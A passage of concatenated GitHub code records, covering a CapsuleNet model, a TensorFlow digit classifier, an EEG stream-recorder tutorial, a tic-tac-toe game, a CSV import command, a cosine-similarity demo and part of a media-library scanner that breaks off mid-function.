28),\n                 n_labels: int = 10,\n                 primary_n_capsules: int = 8,\n                 primary_capsule_length: int = 32,\n                 routing_capsule_length: int = 16,\n                 routing_iterations: int = 3,\n                 replicate_paper: bool = True,\n                 activation: str = \"relu\",\n                 dropout: float = 0.,\n                 normalization: str = None,\n                 pre_nm: bool = False,\n                 *args, **kwargs):\n        super(CapsuleNet, self).__init__()\n\n        if replicate_paper:\n            primary_n_capsules = 8\n            primary_capsule_length = 32\n            routing_capsule_length = 16\n            routing_iterations = 3\n            block = Convolution\n            self.InitialConvolutions = \\\n                Convolution(tensor_size, filter_size=9, out_channels=256,\n                            strides=1, pad=False, activation=\"relu\")\n            _tensor_size = self.InitialConvolutions.tensor_size\n        else:  # You can be creative!\n            block = Convolution\n            kwargs = {\"activation\": activation, \"dropout\": dropout,\n                      \"normalization\": normalization, \"pre_nm\": pre_nm}\n            tp = [Convolution(tensor_size, 5, 64, 1, False, **kwargs),\n                  ResidualComplex((6,  64, 24, 24), 3, 256, 1, True, **kwargs),\n                  ResidualComplex((6, 256, 24, 24), 3, 256, 1, True, **kwargs),\n                  ResidualComplex((6, 256, 24, 24), 3, 256, 1, True, **kwargs),\n                  ResidualComplex((6, 256, 24, 24), 3, 256, 1, True, **kwargs),\n                  Convolution((6, 256, 24, 24), 5, 64, 1, False, \"\", **kwargs)]\n            self.InitialConvolutions = nn.Sequential(tp)\n            _tensor_size = self.InitialConvolutions[-1].tensor_size\n        print(\"InitialConvolutions output size :: \", _tensor_size)\n\n        # block can be replaced with any module available in NeuralLayers\n        self.Primary = PrimaryCapsule(_tensor_size, filter_size=9,\n                                      out_channels=256, strides=2,\n                                      pad=False, activation=\"\",\n                                      dropout=dropout, batch_nm=False,\n                                      pre_nm=False, block=block,\n                                      n_capsules=primary_n_capsules,\n                                      capsule_length=primary_capsule_length)\n        print(\"Primary capsule output size :: \",\n              self.Primary.tensor_size)\n        self.Routing = RoutingCapsule(self.Primary.tensor_size,\n                                      n_capsules=n_labels,\n                                      capsule_length=routing_capsule_length,\n                                      iterations=routing_iterations)\n\n        print(\"Routing capsule output size :: \", self.Routing.tensor_size)\n        self.Reconstruction = \\\n            nn.Sequential(nn.Linear(n_labels*routing_capsule_length, 512),\n                          nn.ReLU(),\n                          nn.Linear(512, 1024),\n                          nn.ReLU(),\n                          nn.Linear(1024, int(np.prod(tensor_size[1:]))))\n\n        self.tensor_size = (6, n_labels)\n        self.input_tensor_size = tensor_size\n\n    def forward(self, tensor, targets):\n        tensor_size = tensor.size()\n\n        # CapsuleNet\n        tensor_deep = self.InitialConvolutions(tensor)\n        tensor_primary = self.Primary(tensor_deep)\n        embedding = self.Routing(tensor_primary)\n\n        # Reconstruction (only during training)\n        #   remove 'if' loop if you like to view the rec_tensor on test data\n        rec_tensor = None\n        rec_loss = 0.\n        if self.training:\n            identity = torch.eye(self.tensor_size[1])\n            if targets.is_cuda:\n                identity = identity.cuda()\n            onehot_targets = identity.index_select(dim=0,\n                                                   index=targets.view(-1))\n\n            rec_tensor = (embedding *\n                          onehot_targets[:, :, None]).view(tensor_size[0], -1)\n            rec_tensor = torch.tanh(self.Reconstruction(rec_tensor))\n            rec_loss = F.mse_loss(rec_tensor.view(tensor_size[0], -1),\n                                  tensor.view(tensor_size[0], -1))\n            rec_tensor = rec_tensor.view(*tensor_size)\n\n        return embedding, rec_tensor, rec_loss\n\n\n# from tensormonk.layers import *\n# tensor_size = (2, 1, 28, 28)\n# targets = torch.LongTensor([1, 2])\n# tensor = torch.rand(*tensor_size)\n# test = CapsuleNet(tensor_size)\n# test(tensor, targets)[2]\n","repo_name":"Tensor46/TensorMONK","sub_path":"tensormonk/architectures/capsulenet.py","file_name":"capsulenet.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"}
{"seq_id":"26064379079","text":"import tensorflow as tf\nimport numpy as np\n\ndef main():\n\n    x_train = arrayFromFile(\"TrainDigitX.idx\")\n    y_train = arrayFromFile(\"TrainDigitY.idx\")\n    x_test = arrayFromFile(\"TestDigitX.idx\")\n    y_test = arrayFromFile(\"TestDigitY.idx\")\n\n    model = tf.keras.models.Sequential([\n    tf.keras.layers.Flatten(input_shape=(784,)),\n    tf.keras.layers.Dense(100, activation=tf.nn.relu),\n    tf.keras.layers.Dense(10, activation=tf.nn.softmax)\n    ])\n    model.compile(optimizer='adam',\n                loss='sparse_categorical_crossentropy',\n                metrics=['accuracy'])\n\n    model.fit(x_train, y_train, epochs=2)\n    print(model.evaluate(x_test, y_test))\n\n# read file into a np array\ndef arrayFromFile(filename):\n\n    print(\"reading\", filename)\n\n    data = bytes()\n    dimensions = []\n    size = 0\n    data = data\n    dataTypeSize = 1\n    startingIndex = 0\n\n    with open(filename,'rb') as file:\n        string = file.read()\n        data = bytes(string)\n\n    dataType = data[2]\n\n    if dataType == 0x8 or dataType == 0x9:\n        dataTypeSize = 1\n    elif dataType == 0xB:\n        dataTypeSize = 2\n    elif dataType == 0xC or dataType == 0xD:\n        dataTypeSize = 4\n    elif dataType == 0xE:\n        dataTypeSize = 8\n\n    dimensionCount = data[3]\n    index = 4\n\n    for d in range(dimensionCount):\n\n        size = 0\n\n        for i in range(4):\n            size = size<<8 | data[index+i]\n\n        dimensions.append(size)\n        index += 4\n\n    startingIndex = index\n    dataList = list(data[startingIndex:])\n    array = np.array(dataList)\n    array = array.astype(float)\n\n    if dimensionCount == 3:\n        array = array.reshape(dimensions[0], len(dataList)//dimensions[0])\n        array /= 255\n\n    return array\n\n# after all functions are defined, run main code\nif __name__ == \"__main__\": main()","repo_name":"geological-survey-of-queensland/gsq-metadata-extraction","sub_path":"tensorflow-training/TF hello world/hello_world_2.py","file_name":"hello_world_2.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"30685204707","text":"\"\"\"\nStreamRecorder: resting-state recording\n=======================================\n\nA resting-state recording is a simple offline recording during which the brain\nactivity of a subject is measured in the absence of any stimulus or task. A\nresting-state recording can be designed with a `~bsl.StreamRecorder`.\n\"\"\"\n\n# %%\n\n# Authors: Mathieu Scheltienne <mathieu.scheltienne@fcbg.ch>\n#\n# License: LGPL-2.1\n\n# sphinx_gallery_thumbnail_path = '_static/stream_recorder/stream_recorder_cli.gif'\n\n# %%\n# .. warning::\n#\n#     Both `~bsl.StreamPlayer` and `~bsl.StreamRecorder` create a new process\n#     to stream or record data. On Windows, mutliprocessing suffers a couple of\n#     restrictions. The entry-point of a multiprocessing program should be\n#     protected with ``if __name__ == '__main__':`` to ensure it can safely\n#     import and run the module. More information on the\n#     `documentation for multiprocessing on Windows\n#     <https://docs.python.org/2/library/multiprocessing.html#windows>`_.\n#\n# This example will use a sample EEG resting-state dataset that can be retrieve\n# with :ref:`bsl.datasets <api/utils:Datasets>`. The dataset is stored in the user home\n# directory in the folder ``bsl_data`` (e.g. ``C:\\Users\\User\\bsl_data``).\n\n# %%\n\nimport os\nimport time\nfrom pathlib import Path\n\nimport mne\n\nfrom bsl import StreamPlayer, StreamRecorder, datasets\nfrom bsl.triggers import MockTrigger\n\n# %%\n#\n# To simulate an actual signal coming from an LSL stream, a `~bsl.StreamPlayer`\n# is used with a 40 seconds resting-state recording.\n\nstream_name = \"StreamPlayer\"\nfif_file = datasets.eeg_resting_state.data_path()\nplayer = StreamPlayer(stream_name, fif_file)\nplayer.start()\nprint(player)\n\n# %%\n#\n# For this example, the folder ``bsl_data/examples`` located in the user home\n# directory will be used to stored recorded files. To ensure its existence,\n# `os.makedirs` is used.\n\nrecord_dir = Path(\"~/bsl_data/examples\").expanduser()\nos.makedirs(record_dir, exist_ok=True)\nprint(record_dir)\n\n# %%\n#\n# For this simple offline recording, the goal is to start a\n# `~bsl.StreamRecorder`, send an event on a trigger to mark the beginning of\n# the resting-state recording, wait for a defined duration, and stop the\n# recording.\n#\n# By default, a `~bsl.StreamRecorder` does not require any argument. The\n# current working directory is used to record data from all available streams\n# in files named based on the date/time timestamp at which the recorder is\n# started.\n#\n# To record only a subset of the available streams with a specific file name\n# and in a specific directory, the arguments ``record_dir``, ``fname`` and\n# ``stream_name`` must be provided.\n#\n# For this example, the directory used to store recordings is\n# ``bsl_data/examples`` and the file name will start with\n# ``example-resting-state``.\n#\n# .. note::\n#\n#     By default, the `~bsl.StreamRecorder.start` method is blocking and will\n#     wait for the recording to start. This behavior can be changed with the\n#     ``blocking`` argument.\n\nrecorder = StreamRecorder(record_dir, fname=\"example-resting-state\")\nrecorder.start()\nprint(recorder)\n\n# %%\n#\n# Now that a `~bsl.StreamRecorder` is started and is acquiring data, a trigger\n# to mark the beginning of the segment of interest is created. For this\n# example, a `~bsl.triggers.MockTrigger` is used, but this example\n# would be equally valid with a different type of trigger.\n\ntrigger = MockTrigger()\n\n# %%\n#\n# To mark the beginning of the segment of interest in the recording, a signal\n# is sent on the trigger. For this example, the event value (1) is used.\n\ntrigger.signal(1)\n\n# %%\n#\n# Finally, after the appropriate duration, the recording is interrupted.\n\ntime.sleep(2)  # 2 seconds duration\ndel trigger\nrecorder.stop()\nprint(recorder)\n\n# %%\n#\n# A `~bsl.StreamRecorder` records data in ``.pcl`` format. This file can be\n# open with `pickle.load`, and is automatically converted to a `~mne.io.Raw`\n# FIF file in a subdirectory ``fif``. The recorded files name syntax is:\n#\n# - If ``fname`` is not provided: ``[date/time timestamp]-[stream]-raw.fif``\n# - If ``fname`` is provided: ``[fname]-[stream]-raw.fif``\n#\n# Where ``stream`` is the name of the recorded LSL stream. Thus, one file is\n# created for each stream being recorded.\n\nfname = record_dir / \"fif\" / \"example-resting-state-StreamPlayer-raw.fif\"\nraw = mne.io.read_raw_fif(fname, preload=True)\nprint(raw)\nevents = mne.find_events(raw, stim_channel=\"TRIGGER\")\nprint(events)\n\n# %%\n#\n# As for the `~bsl.StreamPlayer`, the `~bsl.StreamRecorder` can be used as a\n# context manager. The context manager takes care of starting and stopping the\n# recording.\n\nwith StreamRecorder(record_dir):\n    time.sleep(1)\n\n# %%\n#\n# As for the `~bsl.StreamPlayer`, the `~bsl.StreamRecorder` can be started via\n# command-line when a LSL stream is accessible on the network.\n#\n# Example assuming:\n#\n# - the current working directory is ``bsl_data`` in the user home directory\n# - the stream to connect to is named ``MyStream``\n# - the recorded file naming scheme is ``test-[stream]-raw.fif``, i.e.\n#   ``test-MyStream-raw.fif``\n#\n# .. code-block:: console\n#\n#     $ bsl_stream_recorder -d examples -f test -s MyStream\n#\n# .. image:: ../../_static/stream_recorder/stream_recorder_cli.gif\n#    :alt: StreamRecorder\n#    :align: center\n\n# %%\n# | Stop the mock LSL stream used in this example.\n\nplayer.stop()\n","repo_name":"fcbg-hnp-meeg/bsl","sub_path":"tutorials/10_stream_recorder.py","file_name":"10_stream_recorder.py","file_ext":"py","file_size_in_byte":5368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"74272319459","text":"#Tic tac toe game easy way\n\nxo_list = [\"_\"] * 9\n\ndef winner(pattern):\n    if xo_list[0] + xo_list[1] + xo_list[2] == pattern \\\n        or xo_list[3] + xo_list[4] + xo_list[5] == pattern \\\n        or xo_list[6] + xo_list[7] + xo_list[8] == pattern \\\n        or xo_list[0] + xo_list[3] + xo_list[6] == pattern \\\n        or xo_list[1] + xo_list[4] + xo_list[7] == pattern \\\n        or xo_list[2] + xo_list[5] + xo_list[8] == pattern \\\n        or xo_list[0] + xo_list[4] + xo_list[8] == pattern \\\n        or xo_list[2] + xo_list[4] + xo_list[6] == pattern:\n        return True\n\n# To convert the coordinates to position in list\ndef converter(x,y):\n    i = int(y) + 2\n    j = int(x) - 1\n    return (j * 3 + i) - 3\n\n# Display the matrix\ndef display_matrix(xo_list):\n    print(\"---------\")\n    for _i in range(0, 3):\n        print(f\"| {xo_list[_i * 3]} {xo_list[_i * 3 + 1]} {xo_list[_i * 3 + 2]} |\")\n    print(\"---------\")\n\n# To check if the cell contains a \"X\" or \"O\"\ndef check_position(xo_list, position):\n    if xo_list[position] == \"_\":\n        return False\n    else:\n        return True\n\n# To check that coordinate values are a number\ndef check_format(x, y):\n    try:\n        x = int(x)\n        y = int(y)\n        return True\n    except:\n        return False\n\n# To check range of the coordinates\ndef check_range(x, y):\n    if 0 < int(x) < 4 and 0 < int(y) < 4:\n        return True\n    else:\n        return False\n\ndisplay_matrix(xo_list)\nx = None\ny = None\nturn = 1\n\nwhile xo_list.count(\"_\") > 0 or not(winner(\"XXX\")) or not(winner(\"OOO\")):\n    x, y = input(\"Enter the coordinates: \").split()\n\n    while check_format(x, y) == False:\n        print(\"You should enter numbers!\")\n        x, y = input(\"Enter the coordinates: \").split()\n        #check_format(x, y)\n\n    while check_range(x, y) == False:\n        print(\"Coordinates should be from 1 to 3!\")\n        x, y = input(\"Enter the coordinates: \").split()\n        #check_range(x, y)\n\n    position = converter(x, y)\n\n    while check_position(xo_list, position) == True:\n        print(\"This cell is occupied! Choose another one!\")\n        x, y = input(\"Enter the coordinates: \").split()\n        position = converter(x, y)\n        check_position(xo_list, position)\n\n    if turn % 2 != 0:\n        xo_list[position] = \"X\"\n    else:\n        xo_list[position] = \"O\"\n\n    display_matrix(xo_list)\n    turn += 1\n\n    if winner(\"XXX\"):\n        print(\"X wins\")\n        break\n\n    if winner(\"OOO\"):\n        print(\"O wins\")\n        break\n\n    if turn == 10:\n        print(\"Draw\")\n        break\n","repo_name":"DionisioSanchezBlanco/tictactoe","sub_path":"tictactoe_stage5.py","file_name":"tictactoe_stage5.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71184261222","text":"\"\"\"\nTres de Tres - Partidos\n\n- alimentar: Alimentar los partidos a partir de un archivo CSV\n\"\"\"\nfrom pathlib import Path\nimport csv\nimport click\n\nfrom lib.safe_string import safe_string\n\nfrom citas_admin.app import create_app\nfrom citas_admin.extensions import db\n\nfrom citas_admin.blueprints.tdt_partidos.models import TdtPartido\n\napp = create_app()\ndb.app = app\n\n\n@click.group()\ndef cli():\n    \"\"\"Tres de Tres - Partidos\"\"\"\n\n\n@click.command()\n@click.argument(\"entrada_csv\")\ndef alimentar(entrada_csv):\n    \"\"\"Alimentar a partir de un archivo CSV\"\"\"\n    ruta = Path(entrada_csv)\n    if not ruta.exists():\n        click.echo(f\"AVISO: {ruta.name} no se encontró.\")\n        return\n    if not ruta.is_file():\n        click.echo(f\"AVISO: {ruta.name} no es un archivo.\")\n        return\n    click.echo(\"Alimentando partidos...\")\n    contador = 0\n    with open(ruta, encoding=\"utf8\") as puntero:\n        rows = csv.DictReader(puntero)\n        for row in rows:\n            TdtPartido(\n                nombre=safe_string(row[\"nombre\"], to_uppercase=True, save_enie=True),\n                siglas=safe_string(row[\"siglas\"], to_uppercase=True, save_enie=True),\n                estatus=row[\"estatus\"],\n            ).save()\n            contador += 1\n            if contador % 100 == 0:\n                click.echo(f\"  Van {contador}...\")\n    click.echo(f\"{contador} partidos alimentados.\")\n\n\ncli.add_command(alimentar)\n","repo_name":"PJECZ/pjecz-citas-v2-admin","sub_path":"cli/commands/cmd_tdt_partidos.py","file_name":"cmd_tdt_partidos.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"657248503","text":"import numpy as np\n\n# create a sample dataset of vectors\ndataset = [\n    np.array([1.0, 2.0]),\n    np.array([2.0, 3.0]),\n    np.array([4.0, 5.0]),\n    np.array([6.0, 7.0]),\n]\n\n# Query vector\nQuery_vector = np.array([3.0, 4.0])\n\n# calculate cosine similarity between vectors\ndef cosine_similarity(vec1, vec2):\n    dot_product = np.dot(vec1, vec2)\n    norm1 = np.linalg.norm(vec1)\n    norm2 = np.linalg.norm(vec2)\n    similarity = dot_product / (norm2 * norm1)\n    return similarity\n\n# Perform similarity search\nsimilarities = [cosine_similarity(Query_vector, vec) for vec in dataset]\n\n# Find the index of the most similar vector\nmost_similar_index = np.argmax(similarities)\nmost_similar_vector = dataset[most_similar_index]\n\nprint(\"Query vector :\", Query_vector)\nprint()\nprint(\"Sample dataset for the Given set: \", dataset)\nprint()\nprint(\"Most Similar Vector:\", most_similar_vector)\n","repo_name":"silverking-hari/vector_db_tasks","sub_path":"Query_processing.py","file_name":"Query_processing.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16723300278","text":"import sys\nimport os\nimport re\nimport json\nimport time\nimport socket\nimport codecs\nimport multiprocessing\nfrom urlparse import urlparse\n\nfrom setproctitle import setproctitle\nimport distance\nimport arrow\n\nfrom xbake import __version__, __date__\nfrom xbake.common.logthis import *\nfrom xbake.mscan import util, out\nfrom xbake.common import fsutil\nfrom xbake.mscan import mdb\nfrom xbake.mscan.mdb import MCMP\n\nclass DSTS:\n    \"\"\"mkey string enum\"\"\"\n    NEW = 'new'\n    UNCHANGED = 'unchanged'\n    RENAMED = 'renamed'\n\n# File match regexes\nfregex = [\n            r\"^(\\[(?P<fansub>[^\\]]+)\\])[\\s._]*(?P<series>.+?)(?:[\\s._]-[\\s._]|[\\._])(?:(?P<special>(NCOP|NCED|OP|ED|PV|OVA|ONA|Special|Insert|Preview|Lite|Short)\\s*-?\\s*[0-9]{0,2})|(?:[eEpP]{2}[\\s._]*)?(?P<epnum>[0-9]{1,3}))(?P<version>[vep]{1,2}[0-9]{1,2}([-,][0-9]{1,2})?)?\",\n            r\"^(\\[(?P<fansub>[^\\]]+)\\])?[\\s._]*(?P<series>.+?)(?P<season>[0-9]{1,2})x(?P<epnum>[0-9]{1,2})(.*)$\",\n            r\"^(\\[(?P<fansub>[^\\]]+)\\])?[\\s._]*(?P<series>.+)[\\.\\-_ ]SE?(?P<season>[0-9]{1,2})EP?(?P<epnum>[0-9]{1,2})(?:[\\.\\-_ ](?P<eptitle>.+?))?[\\.\\-_\\[\\( ]+(?:([0-9]{3,4}p|web|aac|bd|tv|hd|x?264)+)\",\n            r\"^(\\[(?P<fansub>[^\\]]+)\\])?[\\s._]*(?P<series>.+)[\\._](?P<epnum>[0-9]{1,4})[\\._](.*)$\",\n            r\"^(?P<series>.+?)[\\-_ ](?P<epnum>[0-9]{2})[\\-_ ](.*)$\",\n            r\"^(\\[(?P<fansub>[^\\]]+)\\])?[\\s._]*(?P<series>.+)[\\._ ]-[\\._ ][sS](?P<season>[0-9]{1,2}) ?[eE](?P<epnum>[0-9]{1,2})(.*)$\",\n            r\"^(?P<series>.+)[sS](?P<season>[0-9]{1,2}) ?[eE](?P<epnum>[0-9]{1,2})(.*)$\",\n            r\"^(?P<series>.+?) (?P<season>[0-9]{1,2}) (?P<epnum>[0-9]{1,2}) (.*)$\",\n            r\"^(?P<series>.+) - (?P<epnum>[0-9]{1,2})(.*)$\",\n            r\"^(?P<series>.+?)(?P<epnum>[0-9]{1,4})\\.(.+)$\",\n            r\"^(?P<series>.+?)(?P<epnum>[0-9]{2,3})(.+)$\",\n            r\"^(?P<epnum>[0-9]{2,4})(.+)$\"\n         ]\n\n# File extension filter\nfext = re.compile(r'\\.(avi|mkv|mpg|mpeg|wmv|vp8|ogm|mp4|mpv)', re.I)\n\nconfig = None\n\ndef run(xconfig):\n    \"\"\"\n    Implements --scan mode\n    \"\"\"\n    global config, monjer\n    config = xconfig\n\n    # Check input filename\n    if not config.run['infile']:\n        failwith(ER.OPT_MISSING, \"option infile required (-i/--infile)\")\n    else:\n        if not os.path.exists(config.run['infile']):\n            failwith(ER.OPT_BAD, \"path/file [%s] does not exist\" % (config.run['infile']))\n        if config.run['single'] and not os.path.isfile(config.run['infile']):\n            failwith(ER.OPT_BAD, \"file [%s] is not a regular file; --single mode is used when scanning only one file\" % (config.run['infile']))\n        elif not config.run['single'] and not os.path.isdir(config.run['infile']):\n            failwith(ER.OPT_BAD, \"file [%s] is not a directory; use --single mode if scanning only one file\" % (config.run['infile']))\n\n    # Set proctitle\n    try:\n        setproctitle(\"xbake: scanning %s\" % (config.run['infile']))\n    except:\n        pass\n\n    # Examine and enumerate files\n    if config.run['single']:\n        new_files, flist = scan_single(config.run['infile'], config.scan['mforce'], config.scan['nochecksum'], config.scan['savechecksum'])\n    else:\n        if config.run['tsukimi'] is True:\n            tstatus('scanlist', scanlist=get_scanlist(config.run['infile'], config.scan['follow_symlinks']))\n        new_files, flist = scan_dir(config.run['infile'], config.scan['follow_symlinks'], config.scan['mforce'], config.scan['nochecksum'], config.scan['savechecksum'], int(config.scan['procs']))\n\n    # Scrape for series information\n    if new_files > 0:\n        mdb.series_scrape(config)\n\n    # Build host data\n    hdata = {\n                'hostname': socket.getfqdn(),\n                'tstamp': time.time(),\n                'duration': 0, # FIXME\n                'topmost': os.path.realpath(config.run['infile']),\n                'command': ' '.join(sys.argv),\n                'version': __version__\n            }\n\n    # Build main output structure\n    odata = {\n                'scan': hdata,\n                'files': flist,\n                'series': mdb.get_tdex()\n            }\n\n    # Parse outfile\n    if not config.run['outfile']:\n        config.run['outfile'] = config.scan['output']\n\n    # If no file defined, or '-', write to stdout\n    if not config.run['outfile'] or config.run['outfile'] == '-':\n        config.run['outfile'] = '/dev/stdout'\n\n    # Parse URLs\n    ofp = urlparse(config.run['outfile'])\n\n    tstatus('output', event='start', output=config.run['outfile'])\n    if ofp.scheme == 'mongodb':\n        # Write to Mongo\n        logthis(\">> Output driver: Mongo\", loglevel=LL.VERBOSE)\n        if ofp.hostname is None:\n            cmon = config.mongo\n            logthis(\"Using existing MongoDB configuration; URI:\", suffix=cmon['uri'], loglevel=LL.DEBUG)\n        else:\n            cmon = {'uri': config.run['outfile']}\n            logthis(\"Using new MongoDB URI:\", suffix=cmon['uri'], loglevel=LL.DEBUG)\n        ostatus = out.to_mongo(odata, cmon)\n    elif ofp.scheme == 'http' or ofp.scheme == 'https':\n        # Send via HTTP(S) to a listening XBake daemon, or other web service\n        logthis(\">> Output driver: HTTP/HTTPS\", loglevel=LL.VERBOSE)\n        ostatus = out.to_server(odata, config.run['outfile'], config)\n    else:\n        # Write to file or stdout\n        logthis(\">> Output driver: File\", loglevel=LL.VERBOSE)\n        ostatus = out.to_file(odata, ofp.path)\n\n    if ostatus['status'] == \"ok\":\n        logthis(\"*** Scanning task completed successfully.\", loglevel=LL.INFO)\n        tstatus('complete', status='ok', files=len(flist), series=len(mdb.get_tdex()))\n        return 0\n    elif ostatus['status'] == \"warning\":\n        logthis(\"*** Scanning task completed, with warnings.\", loglevel=LL.WARNING)\n        tstatus('complete', status='warning')\n        return 49\n    else:\n        logthis(\"*** Scanning task failed.\", loglevel=LL.ERROR)\n        tstatus('complete', status='fail')\n        return 50\n\n# run config setting map for xattribs\nsetmap = {\n                'ignore': \"xbake.ignore\",\n                'series': \"media.seriesname\",\n                'season': \"media.season\",\n                'episode': \"media.episode\",\n                'tvdb_id': \"media.xref.tvdb\",\n                'mal_id': \"media.xref.mal\",\n                'tdex_id': \"xbake.tdex\",\n                'fansub': \"media.fansub\"\n            }\n\ndef setter(xconfig):\n    \"\"\"\n    Set overrides for a file or directory\n    \"\"\"\n    global setmap\n    infile = xconfig.run['infile']\n\n    setout = {}\n    for k, v in setmap.iteritems():\n        if k in xconfig.run:\n            if xconfig.run[k]:\n                setout[v] = xconfig.run[k]\n\n    logthis(\"Setting overrides:\\n\", suffix=print_r(setout), loglevel=LL.VERBOSE)\n    fsutil.xattr_set(infile, setout)\n    logthis(\"Overrides set OK.\", ccode=C.GRN, loglevel=LL.INFO)\n    return 0\n\ndef unsetter(xconfig):\n    \"\"\"\n    Remove overrides for a file or directory\n    \"\"\"\n    infile = xconfig.run['infile']\n    dlist = list(fsutil.xattr_get(infile))\n    logthis(\"Removing overrides:\\n\", suffix=print_r(dlist), loglevel=LL.VERBOSE)\n    fsutil.xattr_del(infile, dlist)\n    logthis(\"Overrides cleared.\", ccode=C.GRN, loglevel=LL.INFO)\n    return 0\n\ndef get_scanlist(dpath, dreflinks=True):\n    \"\"\"\n    Return a list of files to be scanned by scan_dir()\n    \"\"\"\n    dryout = scan_dir(dpath, dreflinks, dryrun=True)[1]\n    return dryout.values()\n\ndef scan_dir(dpath, dreflinks=True, mforce=False, nochecksum=False, savechecksum=True, procs=0, dryrun=False):\n    \"\"\"\n    Scan a directory recursively; follows symlinks by default\n    \"\"\"\n    ddex = {}\n    new_files = 0\n\n    if dryrun is False:\n        ## Set up workers and IPC\n        if procs == 0:\n            procs = multiprocessing.cpu_count()\n        mp_inq = multiprocessing.Queue()\n        mp_outq = multiprocessing.Queue()\n        mp_tdexq = multiprocessing.Queue()\n\n        ## Start queue runners\n        wlist = []\n        for wid in range(procs): # pylint: disable=unused-variable\n            cworker = multiprocessing.Process(name=\"xbake: scanrunner\", target=scanrunner, args=(mp_inq, mp_outq, mp_tdexq))\n            wlist.append(cworker)\n            cworker.start()\n\n    ## Enumerate files\n    for tdir, dlist, flist in os.walk(unicode(dpath), followlinks=dreflinks):  # pylint: disable=unused-variable\n        # get base & parent dir names\n        tdir_base = os.path.split(tdir)[1]  # pylint: disable=unused-variable\n        tdir_parent = os.path.split(os.path.split(tdir)[0])[1]  # pylint: disable=unused-variable\n        ovrx = {}\n\n        # Get xattribs\n        ovrx = parse_xattr_overrides(tdir)\n\n        # Check if ignore flag is set for this directory (xattribs only)\n        if ovrx.has_key('ignore'):\n            logthis(\"Skipping directory, has 'ignore' flag set in xattribs:\", suffix=tdir, loglevel=LL.INFO)\n            continue\n\n        # Parse overrides for this directory\n        ovrx.update(parse_overrides(tdir))\n\n        if dryrun is False:\n            logthis(\"*** Scanning files in directory:\", suffix=tdir, loglevel=LL.INFO)\n\n        # enum files in this directory\n        for xv in flist:\n            xvreal = os.path.realpath(unicode(tdir + '/' + xv))\n            xvbase, xvext = os.path.splitext(xv)  # pylint: disable=unused-variable\n\n            # Skip .xbake file\n            if unicode(xv) == unicode('.xbake'): continue\n\n            # Skip unsupported filetypes, non-regular files, and broken symlinks\n            if not os.path.exists(xvreal):\n                logthis(\"Skipping broken symlink:\", suffix=xvreal, loglevel=LL.WARNING)\n                continue\n            if not os.path.isfile(xvreal):\n                logthis(\"Skipping non-regular file:\", suffix=xvreal, loglevel=LL.VERBOSE)\n                continue\n            if not fext.match(xvext):\n                logthis(\"Skipping file with unsupported extension:\", suffix=xvreal, loglevel=LL.DEBUG)\n                continue\n\n            # Skip file if on the overrides 'ignore' list\n            if check_overrides(ovrx, xv):\n                logthis(\"Skipping file. Matched rule in override ignore list:\", suffix=xvreal, loglevel=LL.INFO)\n                continue\n\n            # Create copy of override object and strip-out unneeded values and flags\n            ovrx_sub = clean_overrides(ovrx)\n\n            # Get file properties\n            if dryrun is True:\n                ddex[new_files] = os.path.realpath(tdir + '/' + xv)\n                new_files += 1\n            else:\n                mp_inq.put({'rfile': xvreal, 'ovrx': ovrx_sub, 'mforce': mforce, 'nochecksum': nochecksum, 'savechecksum': savechecksum})\n\n    ## Tend the workers\n    if dryrun is False:\n        # Pump terminators at the end of the queue\n        for wid in range(procs):\n            mp_inq.put({'EOF': True})\n\n        # Monitor scanrunner progress\n        logthis(\"File enumeration complete. Waiting for scanrunner to complete...\", loglevel=LL.DEBUG)\n        while len(wlist) > 0:\n            # pull scan data off the outbound queue\n            for tk in range(mp_outq.qsize()):  # pylint: disable=unused-variable\n                try:\n                    xfile, xdata = mp_outq.get(block=False)\n                    logthis(\"got file from queue:\", suffix=xfile, loglevel=LL.DEBUG)\n                    ddex[xfile] = xdata\n                    new_files += 1\n                except:\n                    pass\n\n            # pull series data from tdex queue\n            for tk in range(mp_tdexq.qsize()):  # pylint: disable=unused-variable\n                try:\n                    xkey, xdata = mp_tdexq.get(block=False)\n                    logthis(\"got series from tdex queue:\", suffix=xkey, loglevel=LL.DEBUG)\n                    if xkey in mdb.tdex:\n                        mdb.tdex[xkey]['count'] += xdata['count']\n                    else:\n                        mdb.tdex[xkey] = xdata\n                except:\n                    pass\n\n            # check to see if the kids have died yet\n            for wk, wid in enumerate(wlist):\n                if not wid.is_alive():\n                    logthis(\"Scanrunner is complete; pid =\", suffix=wid.pid, loglevel=LL.DEBUG)\n                    del(wlist[wk])\n                    break\n\n    return (new_files, ddex)\n\n\ndef scan_single(dfile, mforce=False, nochecksum=False, savechecksum=True):\n    \"\"\"\n    Scan a single media file\n    \"\"\"\n    ddex = {}\n    new_files = 0\n\n    # Parse overrides for directory the file is in\n    tdir = os.path.dirname(os.path.realpath(dfile))\n    ovrx = parse_xattr_overrides(tdir)\n    ovrx.update(parse_overrides(tdir))\n    ovrx = clean_overrides(ovrx)\n\n    dasc = scanfile(dfile, ovrx=ovrx, mforce=mforce, nochecksum=nochecksum, savechecksum=savechecksum)\n    if dasc:\n        ddex[dfile] = dasc\n        new_files += 1\n\n    return (new_files, ddex)\n\n\ndef scanrunner(in_q, out_q, tdex_q):\n    \"\"\"\n    Process queue runner\n    \"\"\"\n    hproc = multiprocessing.current_process()\n    setproctitle(\"xbake: scanrunner\")\n    while True:\n        # pop next job off the queue; will block until a job is available\n        thisjob = in_q.get()\n        if thisjob.get('EOF') is not None:\n            logthis(\"Got end-of-queue marker; terminating; pid =\", suffix=hproc.pid, loglevel=LL.DEBUG)\n            for tkey, tshow in mdb.tdex.iteritems():\n                tdex_q.put((tkey, tshow))\n            # we need to wait until the master process pulls our items from the queue\n            while tdex_q.qsize() > 0 or out_q.qsize() > 0:\n                time.sleep(0.1)\n            os._exit(0)\n        out_q.put((thisjob['rfile'], scanfile(**thisjob)))\n\n\ndef scanfile(rfile, ovrx={}, mforce=False, nochecksum=False, 